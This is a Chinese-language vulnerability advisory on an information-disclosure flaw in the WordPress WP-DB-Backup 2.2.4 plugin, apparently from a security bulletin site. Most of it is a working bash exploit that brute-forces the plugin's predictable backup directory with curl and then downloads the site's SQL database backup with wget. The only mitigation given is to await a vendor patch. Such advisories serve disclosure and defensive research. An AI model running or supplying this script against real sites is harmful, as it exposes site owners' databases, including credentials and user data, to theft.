发布日期：2014-11-19
更新日期：2014-11-21

受影响系统：

WordPress WP-DB-Backup 2.2.4
WordPress WP-DB-Backup

描述：

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BUGTRAQ  ID: 71177

WP-DB-Backup插件可以备份核心WordPress数据库表。

WP-DB-Backup 2.2.4及其他版本在实现上存在远程信息泄露漏洞，远程攻击者可利用此漏洞获取敏感信息。

<*来源：Larry Cashdollar
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/bin/bash
#Larry W. Cashdollar, @_larry0
#http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-db-backup-v2.2.4/
#Usage: Compile raintable.c
#gcc raintable.c -o table;./table > rainbow
#run ./exp targetsite date
#date is in format YYYYMMDD e.g 20141031
if [ ! -e found.txt ]; then
Z=0
K=`wc -l rainbow|awk '{print $1}'`;
echo "[+] Searching....";
        for x in `cat rainbow`; do
                CPATH="http://$1/wp-content/backup-$x/";
                RESULT=`curl -s --head $CPATH|grep 200`;
                if [ -n "$RESULT" ]; then
                 echo "[+] Location $CPATH Found";
                 echo "[+] Received $RESULT";
                 echo $x > found.txt
                 exit; #break here
        fi;
                 echo -n "Percent Done: ";
                 Y=`echo "scale=6;($Z/$K)*100"|bc`;
                 echo -n $Y
                 echo "%";
                 Z=$(( $Z + 1 ));
done
else
x=`cat found.txt`;
fi
# Now that we have the directory lets try to locate the database backup file.
K=999;
for y in `seq -w 0 999`; do
                CPATH="http://$1/wp-content/backup-$x/wordpress_wp_$2_$y.sql";
                RESULT=`curl -s --head $CPATH|grep 200`;
                if [ -n "$RESULT" ]; then
                 echo "[+] Database backup $CPATH Found";
                 echo "[+] Received $RESULT";
                 wget $CPATH
                 exit; #break here
        fi;
                 echo -n "Percent Done: ";
                 Y=`echo "scale=2;($Z/$K)*100"|bc`;
                 echo -n $Y
                 echo "%";
                 Z=$(( $Z + 1 ));
done

建议：

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厂商补丁：

WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

https://wordpress.org/plugins/wp-db-backup/

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